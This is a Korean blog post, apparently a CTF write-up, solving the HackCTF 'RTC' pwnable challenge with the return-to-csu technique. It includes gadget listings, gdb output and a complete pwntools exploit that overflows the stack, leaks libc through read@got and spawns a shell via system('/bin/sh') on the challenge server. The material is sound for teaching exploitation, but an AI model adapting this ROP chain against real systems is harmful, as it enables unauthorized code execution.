ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] RTC
    Wargame/HackCTF 2020. 1. 12. 22:47

     

    들어가며

    __libc_csu_init 함수를 이용한 return-to-csu 기법을 활용하여 푸는 문제이다.

    이 기법을 많이 다뤄서 익숙해졌는데, 어디 써먹을 문제 없나 찾다가 덕분에 잘 써먹었다.

     

    문제해석

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/rtc(master)# rp64 -f rtc -r 4 | grep pop
    0x0040055c: add byte [rax], al ; add byte [rax], al ; pop rbp ; ret  ;  (1 found)
    0x0040055e: add byte [rax], al ; pop rbp ; ret  ;  (1 found)
    0x00400558: nop dword [rax+rax+0x00000000] ; pop rbp ; ret  ;  (1 found)
    0x004005a5: nop dword [rax] ; pop rbp ; ret  ;  (1 found)
    0x00400557: nop word [rax+rax+0x00000000] ; pop rbp ; ret  ;  (1 found)
    0x004006bc: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
    0x004006be: pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
    0x004006c0: pop r14 ; pop r15 ; ret  ;  (1 found)
    0x004006c2: pop r15 ; ret  ;  (1 found)
    0x004005c2: pop rbp ; mov byte [0x0000000000601058], 0x00000001 ; rep ret  ;  (1 found)
    0x0040054f: pop rbp ; mov edi, 0x00601048 ; jmp rax ;  (1 found)
    0x0040059d: pop rbp ; mov edi, 0x00601048 ; jmp rax ;  (1 found)
    0x004006bf: pop rbp ; pop r14 ; pop r15 ; ret  ;  (1 found)
    0x00400560: pop rbp ; ret  ;  (1 found)
    0x004005a8: pop rbp ; ret  ;  (1 found)
    0x004006c3: pop rdi ; ret  ;  (1 found)
    0x004006c1: pop rsi ; pop r15 ; ret  ;  (1 found)
    0x004006bd: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
    0x0040055a: test byte [rax], al ; add byte [rax], al ; add byte [rax], al ; pop rbp ; ret  ;  (1 found)
    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/rtc(master)#

    혹시나 SysROP문제마냥 가젯이 있는데 삽질할거 같아서 문제 받자마자 가젯부터 확인한거 같다ㅋㅋㅋㅋㅋ

    다행히도(?) 없었고, 예상대로 return-to-csu기법을 이용하여 문제를 풀면 될거같다.

     

    stack크기를 확인해보자.

    gdb-peda$ x/20gx $rsp
    0x7ffd024cc550: 0x4141414141414141      0x000000000040060a
    0x7ffd024cc560: 0x00007ffd024cc58e      0x0000000000000000
    0x7ffd024cc570: 0x0000000000400660      0x0000000000400500
    0x7ffd024cc580: 0x00007ffd024cc670      0x0000000000000000
    0x7ffd024cc590: 0x0000000000400660      0x00007f22355d0830
    0x7ffd024cc5a0: 0x0000000000000001      0x00007ffd024cc678
    0x7ffd024cc5b0: 0x0000000135b9fca0      0x00000000004005f6
    0x7ffd024cc5c0: 0x0000000000000000      0xcd93c0d8c6224a8f
    0x7ffd024cc5d0: 0x0000000000400500      0x00007ffd024cc670
    0x7ffd024cc5e0: 0x0000000000000000      0x0000000000000000
    gdb-peda$ x/gx $rbp
    0x7ffd024cc590: 0x0000000000400660
    gdb-peda$
    0x7ffd024cc598: 0x00007f22355d0830
    gdb-peda$ p/d $rbp-$rsp
    $1 = 64

    stack크기는 64 + sfp + ret로 구성되어 있으며, 총 72bytes를 덮고 ret를 변조해주면 rip control이 가능하다.

     

    이제 본격적으로 return_to_csu기법을 이용하여 exploit해보자.

     

    풀이

    return_to_csu는 다음과 같은 가젯을 사용하여 동작한다.

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/rtc(master)# objdump -d -M intel ./rtc
    ...
    0000000000400660 <__libc_csu_init>:
    ...
      4006a0:       4c 89 ea                mov    rdx,r13
      4006a3:       4c 89 f6                mov    rsi,r14
      4006a6:       44 89 ff                mov    edi,r15d
      4006a9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
      4006ad:       48 83 c3 01             add    rbx,0x1
      4006b1:       48 39 eb                cmp    rbx,rbp
      4006b4:       75 ea                   jne    4006a0 <__libc_csu_init+0x40>
      4006b6:       48 83 c4 08             add    rsp,0x8
      4006ba:       5b                      pop    rbx
      4006bb:       5d                      pop    rbp
      4006bc:       41 5c                   pop    r12
      4006be:       41 5d                   pop    r13
      4006c0:       41 5e                   pop    r14
      4006c2:       41 5f                   pop    r15
      4006c4:       c3                      ret
    ...

    총 3가지 가젯을 이용한다.

    1. pop을 통해 원하는 값을 register에 넣어주는 가젯
    2. 함수를 call해주는 가젯
    3. pop rdi; ret

     

    이를 코드로 정리하면 다음과 같다.

    # gadget1
      4006ba:       5b			pop    rbx
      4006bb:       5d			pop    rbp
      4006bc:       41 5c		pop    r12
      4006be:       41 5d		pop    r13
      4006c0:       41 5e		pop    r14
      4006c2:       41 5f		pop    r15
      4006c4:       c3			ret
      
    # gadget2
      4006a0:       4c 89 ea		mov    rdx,r13
      4006a3:       4c 89 f6		mov    rsi,r14
      4006a6:       44 89 ff		mov    edi,r15d
      4006a9:       41 ff 14 dc	call   QWORD PTR [r12+rbx*8]
      4006ad:       48 83 c3 01	add    rbx,0x1
      4006b1:       48 39 eb		cmp    rbx,rbp
      4006b4:       75 ea		jne    4006a0 <__libc_csu_init+0x40>
      4006b6:       48 83 c4 08	add    rsp,0x8
      4006ba:       5b			pop    rbx
      4006bb:       5d			pop    rbp
      4006bc:       41 5c		pop    r12
      4006be:       41 5d		pop    r13
      4006c0:       41 5e		pop    r14
      4006c2:       41 5f		pop    r15
      4006c4:       c3			ret
      
    # gadget3
      4006c3:       41 5f		pop    rdi
      4006c4:       c3			ret

    gadget1을 이용하여 r13, r14, r15 register에 값을 넣고 gadget2를 이용하여 각각 rdx, rsi, edi로 값복사를 한다.

    그리고 gadget1에서 넣어준 r12주소를 call한다.

    이때, [r12+rbx*8] 를 호출하므로, gadget1에서 rbx0으로 맞춰준다.

     

    호출 이후에도 chain이 계속해서 유지되기 위해서는 rbp1로 맞춰주어야 한다.

    이유는 add rbx,0x1; cmp rbx,rbp 과정이 있기 때문이다.

     

    마지막으로, gadget2에서는 payload가 8bytes가 더 길어지는데, 이 이유는 add rsp, 0x8 동작 때문이다.

     

    자세한 정리는 아래 블로그에 잘 정리되어 있으니, 보기를 강추한다!

    요기

     

    14.Return-to-csu(__libc_csu_init) - TechNote - Lazenca.0x0

    페이지 … TechNote 02.TechNote 05.Basic exploitation techniques 배너의 맨 끝으로 배너의 맨 처음으로 14.Return-to-csu(__libc_csu_init) 메타 데이터의 끝으로 건너뛰기 Lazenca.0x0님이 작성, 9월 06, 2018에 최종 변경 메타 데이터의 시작으로 이동

     

    위의 가젯을 어떻게 사용할지는 다음과 같이 정리해보았다.

    1. read(0, bss, len(binsh)) <- '/bin/sh\x00'
    2. write(1, read_got, 8) -> leak read@got
    3. return-to-main
    4. system("/bin/sh")

    이에 맞는 rop Chain을 짠 후에, exploit code를 작성해보았다.

     

    exploit.py

    from pwn import *
    
    context.terminal = ['tmux', 'splitw', '-h']
    bp = {'bp1':0x0000000000400652}
    
    r = remote('ctf.j0n9hyun.xyz', 3025)
    #r = process('./rtc')
    #gdb.attach(r, 'b *{}'.format(bp['bp1']))
    e = ELF('./rtc')
    libc = ELF('./libc.so.6')
    
    gadget1 = 0x4006ba
    gadget2 = 0x4006a0
    pop_rdi = 0x4006c3
    read_got = e.got['read']
    write_got = e.got['write']
    read_offset = libc.symbols['read']
    system_offset = libc.symbols['system']
    binsh = '/bin/sh\x00'
    bss = 0x0000000000601050
    main_stage = bss + 0x400
    main = 0x00000000004005f6
    
    payload = ''
    payload += "A"*72
    
    # Stage 1 : inject binsh in bss
    # read(0, bss, len(binsh)) <- '/bin/sh\x00'
    payload += p64(gadget1)
    payload += p64(0)		# pop rbx
    payload += p64(1)		# pop rbp
    payload += p64(read_got)	# pop r12 -> call function
    payload += p64(len(binsh))	# pop r13 -> rdx
    payload += p64(main_stage)	# pop r14 -> rsi
    payload += p64(0)		# pop r15 -> edi
    payload += p64(gadget2)	# ret
    
    # after read function
    # Stage 2 : leak libc and return-to-main
    # write(1, read_got, 8) -> leak read@got
    payload += p64(0)		# add rsp,0x8
    payload += p64(0)		# pop rbx
    payload += p64(1)		# pop rbp
    payload += p64(write_got)	# pop r12 -> call function
    payload += p64(8)		# pop r13 -> rdx
    payload += p64(read_got)	# pop r14 -> rsi
    payload += p64(1)		# pop r15 -> edi
    payload += p64(gadget2)	# ret
    
    # return-to-main
    payload += p64(0)*7		# [add rsp,0x8] and [pppppp]
    payload += p64(main)		# ret
    
    r.sendlineafter('\n', payload)
    r.send(binsh)
    leak = u64(r.recvn(8))
    libc_base = leak - read_offset
    system = libc_base + system_offset
    
    log.info("read@got: "+hex(leak))
    log.info("libc_base: "+hex(libc_base))
    log.info("system@got: "+hex(system))
    
    # Stage 3 : execute shell
    payload = ''
    payload += "A"*72
    payload += p64(pop_rdi)
    payload += p64(main_stage)
    payload += p64(system)
    
    r.sendlineafter('\n', payload)
    r.interactive()

    'Wargame > HackCTF' 카테고리의 다른 글

    [Misc] 탈옥  (0) 2020.01.16
    [Pwnable] Register  (0) 2020.01.16
    [Pwnable] SysROP  (0) 2020.01.12
    [Pwnable] babyfsb  (0) 2020.01.10
    [Pwnable] You are silver  (0) 2020.01.08

    댓글

Designed by Tistory.